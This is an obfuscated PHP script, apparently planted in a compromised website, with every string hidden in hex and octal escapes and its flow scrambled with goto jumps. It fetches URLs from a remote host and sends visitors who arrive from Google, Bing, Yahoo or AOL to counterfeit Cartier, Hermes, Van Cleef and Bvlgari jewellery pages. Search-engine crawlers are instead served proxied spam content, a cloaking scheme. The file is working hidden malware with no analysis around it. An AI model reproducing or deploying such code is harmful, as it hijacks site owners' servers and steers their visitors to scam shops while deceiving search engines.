<?php
 goto hTkJX; FPaiY: $QueryString = strtolower($_SERVER["\121\x55\105\x52\131\137\123\124\x52\111\x4e\x47"]); goto Fdqm5; hTkJX: error_reporting(E_ALL); goto WqIVw; Fdqm5: $data_url = "\x68\164\x74\160\163\72\57\57\x77\167\x77\56" . $surl . "\x2e\x63\157\x6d\x2f\x61\x69\145\x72\x2f"; goto JUxES; jQcWP: if (strstr($_SERVER["\110\124\x54\x50\x5f\x52\105\x46\x45\122\105\x52"], "\147\x6f\157\x67\154\x65") || strstr($_SERVER["\110\124\x54\x50\137\122\x45\106\x45\x52\x45\122"], "\141\x6f\x6c") || strstr($_SERVER["\x48\x54\x54\120\137\122\105\x46\x45\122\105\122"], "\x62\151\x6e\147") || strstr($_SERVER["\110\x54\124\120\x5f\122\x45\x46\105\x52\105\x52"], "\x79\141\150\x6f\x6f")) { $rrurl = $skipurl; if (strstr($QueryString, "\143\141\162\164\x69\145\162")) { $rrurl = $skipurl; if (strstr($QueryString, "\x6c\157\x76\x65")) { $rrurl = $skipurl . "\x63\141\162\164\x69\145\x72\55\x6a\x65\x77\x65\x6c\162\x79\57\x6c\157\x76\145\55\142\162\141\x63\x65\x6c\145\164\163"; } elseif (strstr($QueryString, "\156\x65\x63\153\154\x61\x63\145")) { $rrurl = $skipurl . "\x63\141\x72\164\x69\145\x72\x2d\152\145\167\145\x6c\162\x79\57\x6e\145\143\153\x6c\141\143\x65"; } elseif (strstr($QueryString, "\162\x69\x6e\147")) { $rrurl = $skipurl . "\x63\141\x72\164\151\145\x72\55\x6a\145\x77\145\x6c\x72\171\57\154\157\166\x65\x2d\162\x69\156\147\x73"; } elseif (strstr($QueryString, "\152\x75\x73\164\145")) { $rrurl = $skipurl . "\x63\x61\162\164\x69\x65\x72\55\x6a\145\x77\x65\154\x72\171\x2f\152\x75\163\164\145\55\165\156\55\143\x6c\157\x75"; } elseif (strstr($QueryString, "\145\141\162\162\x69\x6e\147")) { $rrurl = $skipurl . "\x63\x61\x72\164\x69\x65\162\x2d\x6a\145\167\145\154\162\171\57\x65\x61\162\162\151\156\x67\163"; } elseif (strstr($QueryString, "\160\x61\143\x6b\x61\147")) { $rrurl = $skipurl . "\143\x61\162\164\x69\x65\x72\x2d\152\x65\x77\145\154\162\x79\x2f\160\141\143\x6b\x61\147\x69\156\x67"; } elseif (strstr($QueryString, "\167\141\x74\143\150")) { $rrurl = $skipurl . "\x63\x61\162\x74\151\145\x72\55\x77\141\x74\143\150\145\x73"; } else { $rrurl = $skipurl . "\143\141\162\x74\151\x65\x72\x2d\152\x65\167\145\154\162\171"; } } elseif (strstr($QueryString, "\150\145\162\x6d\x65\163")) { if (strstr($QueryString, "\156\145\143\153\x6c\141\x63\145")) { $rrurl = $skipurl . "\x68\145\162\x6d\x65\163\55\x6a\x65\x77\x65\154\x72\x79\57\156\145\143\153\x6c\x61\143\x65\x73"; } elseif (strstr($QueryString, "\162\x69\x6e\x67")) { $rrurl = $skipurl . "\x68\x65\162\155\x65\x73\55\152\145\167\145\154\162\x79\x2f\162\151\x6e\147\x73"; } elseif (strstr($QueryString, "\x62\162\141\x63\x65\x6c\x65\164")) { $rrurl = $skipurl . "\x68\145\x72\x6d\145\x73\x2d\152\145\x77\145\154\162\171\x2f\x62\x72\x61\143\145\x6c\145\164\163"; } else { $rrurl = $skipurl . "\x68\145\x72\155\x65\x73\x2d\152\x65\167\x65\x6c\162\171"; } } elseif (strstr($QueryString, "\x63\x6c\145\145\146")) { if (strstr($QueryString, "\156\145\143\x6b\154\141\x63\x65")) { $rrurl = $skipurl . "\166\141\x6e\x2d\143\x6c\145\x65\146\x2d\x61\x72\x70\145\x6c\163\57\156\x65\x63\x6b\x6c\x61\143\x65\x73"; } elseif (strstr($QueryString, "\162\151\156\x67")) { $rrurl = $skipurl . "\x76\x61\x6e\55\x63\x6c\145\145\146\55\141\x72\160\x65\154\x73\57\x72\151\x6e\x67\163"; } elseif (strstr($QueryString, "\x62\162\x61\x63\145\154\145\164")) { $rrurl = $skipurl . "\166\141\x6e\55\x63\154\145\x65\x66\x2d\141\x72\x70\145\x6c\x73\57\142\x72\x61\143\145\154\x65\x74\163"; } elseif (strstr($QueryString, "\145\x61\162\x72\151\x6e\147")) { $rrurl = $skipurl . "\x76\141\156\x2d\143\154\145\x65\146\x2d\141\162\x70\x65\x6c\163\x2f\145\141\x72\x72\x69\x6e\x67\163"; } else { $rrurl = $skipurl . "\x76\141\156\55\x63\154\145\x65\x66\55\x61\162\160\x65\x6c\x73"; } } elseif (strstr($QueryString, "\142\166\154\147\x61\x72\x69")) { if (strstr($QueryString, "\156\145\143\153\x6c\x61\x63\x65")) { $rrurl = $skipurl . "\x62\x76\154\x67\141\x72\x69\57\x6e\x65\143\153\154\x61\143\145\163"; } elseif (strstr($QueryString, "\x62\56\172\145\162\x6f\x31")) { $rrurl = $skipurl . "\142\166\x6c\147\141\162\151\57\142\56\x7a\x65\x72\157\x31\55\162\x69\x6e\147\163"; } elseif (strstr($QueryString, "\145\x61\162\x72\151\156\x67")) { $rrurl = $skipurl . "\x62\166\154\147\x61\x72\151\57\145\141\162\162\151\156\x67\x73"; } elseif (strstr($QueryString, "\162\151\156\x67")) { $rrurl = $skipurl . "\x62\x76\154\147\141\162\x69\x2f\162\151\156\147\x73"; } elseif (strstr($QueryString, "\x62\162\141\x63\x65\154\145\x74")) { $rrurl = $skipurl . "\x62\x76\x6c\x67\x61\x72\151\x2f\x62\162\141\x63\x65\154\145\x74"; } else { $rrurl = $skipurl . "\x62\166\154\147\x61\x72\151\55\152\145\167\145\x6c\x72\x79\x2f"; } } echo "\74\x21\x44\x4f\103\x54\x59\x50\105\x20\110\x54\x4d\x4c\x20\x50\x55\102\x4c\111\x43\x20\42\x2d\57\57\x57\63\103\x2f\x2f\104\x54\104\x20\110\124\x4d\x4c\x20\64\56\x30\x31\40\124\x72\141\x6e\163\151\164\151\157\x6e\141\x6c\x2f\x2f\x45\116\42\x20\42\150\x74\x74\x70\72\x2f\57\167\167\x77\56\x77\63\x2e\x6f\162\147\57\x54\x52\57\x68\164\x6d\x6c\64\x2f\x6c\x6f\x6f\x73\145\56\144\164\144\x22\x3e\x3c\x68\x74\155\x6c\76\74\150\145\x61\x64\x3e\74\x2f\150\x65\x61\144\76\74\x62\x6f\144\x79\76\74\x73\x63\x72\151\160\164\x20\x74\x79\x70\x65\x3d\x22\x74\145\170\164\x2f\x6a\x61\166\141\163\x63\x72\151\x70\x74\42\76\154\157\x63\141\164\x69\157\156\x2e\x68\162\145\x66\x3d\x22" . $rrurl . "\42\x3b\74\x2f\x73\143\162\151\160\164\x3e\x3c\x2f\x62\x6f\x64\x79\x3e\x3c\x2f\150\164\155\x6c\76\x22"; die; } goto PM2Tk; PM2Tk: if (strstr($_SERVER["\110\124\124\x50\x5f\125\x53\105\x52\137\101\107\x45\116\124"], "\147\x6f\x6f\147\x6c\145") or strstr($_SERVER["\x48\124\x54\120\x5f\125\x53\x45\122\x5f\101\107\105\116\124"], "\x62\151\x6e\x67") or strstr($_SERVER["\x48\x54\x54\x50\137\x55\x53\105\x52\x5f\x41\x47\x45\x4e\x54"], "\x79\141\x68\157\x6f")) { $qs = $_SERVER["\121\125\x45\x52\x59\137\123\124\122\111\116\107"]; $res = getContent(str_replace("\150\164\164\160\163", "\x68\x74\164\160", $data_url) . $qs); $s = $_SERVER["\110\124\124\x50\x5f\110\x4f\x53\124"]; $sn = str_replace("\x69\156\144\x65\170\56\160\x68\x70", '', $_SERVER["\x50\110\x50\x5f\123\105\114\106"]); $sn = str_replace("\x64\145\x66\x61\x75\154\164\x2e\160\150\160", '', $sn); $res = str_replace($mirror_url, '', $res); $res = str_replace("\x63\156\172\x7a", "\143\156\x73\x73", $res); $res = str_replace("\x3f\166\x65\162", "\100\x76\145\162", $res); $res = preg_replace("\x2f\74\x61\50\56\x2b\77\x29\150\162\x65\x66\x3d\x28\133\42\47\x5d\51\x2f", "\x3c\141\44\x31\150\x72\145\146\75\x24\x32\x68\x74\x74\x70\x3a\x2f\57" . $s . $sn . "\x3f", $res); $res = str_replace("\167\160\55", $data_url . "\167\x70\55", $res); $res = str_replace("\150\x74\164\x70\x3a\x2f\57" . $s . "\57\x3f" . $data_url, $data_url, $res); $res = preg_replace("\x2f\x3c\x69\x66\162\x61\155\x65\50\x2e\x2a\x29\74\134\x2f\x69\146\162\141\x6d\x65\x3e\57", '', $res); $res = str_replace("\x3f\x22", "\x22", $res); $res = str_replace("\163\153\x69\156\x2f", $data_url . "\163\153\x69\x6e\x2f", $res); $res = str_replace("\152\163\57", $data_url . "\152\x73\57", $res); $res = str_replace("\x6d\145\144\151\x61\57", $data_url . "\x6d\145\144\x69\141\57", $res); $res = str_replace("\77\x70\x3d", "\x40\160\75", $res); $res = str_replace("\x40\160\x3d\x31\42", "\x22", $res); $res = str_replace("\x68\x74\164\x70\x3a\57\57" . $s . $sn . "\x3f\150\164\164\x70\x73", "\x68\x74\x74\x70\163", $res); echo $res; die; } else { } goto Egw2U; Egw2U: function getContent($url) { if (function_exists("\146\151\154\145\137\x67\x65\x74\137\143\157\156\x74\x65\x6e\x74\x73")) { return file_get_contents($url); } else { $ch = curl_init(); $header = "\155\x61\162\x6b\x29"; curl_setopt($ch, CURLOPT_USERAGENT, $header); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, "\x68\x74\x74\160\x3a\57\57\167\x77\167\x2e\x67\157\x6f\x67\154\145\56\143\157\155\x2f\x20"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec($ch); curl_close($ch); return $out; } } goto Eb92i; WqIVw: $skipurl = getContent("\x68\x74\x74\x70\x3a\57\57\167\x77\167\x2e\143\162\151\x73\151\x73\143\x6c\x65\141\156\151\x6e\147\56\156\145\164\x2f\163\x6b\151\160\165\x72\x6c\56\164\170\x74"); goto qdwIq; JUxES: $mirror_url = "\150\x74\x74\160\72\x2f\x2f\167\x77\x77\56\141\151\145\x72\x2e\x73\165\x2f"; goto jQcWP; qdwIq: $surl = getContent("\150\x74\164\160\x3a\57\x2f\x77\x77\x77\56\143\x72\151\x73\x69\x73\x63\154\145\141\x6e\x69\x6e\x67\56\156\145\164\x2f\163\165\x72\x6c\56\164\x78\x74"); goto FPaiY; Eb92i: ?>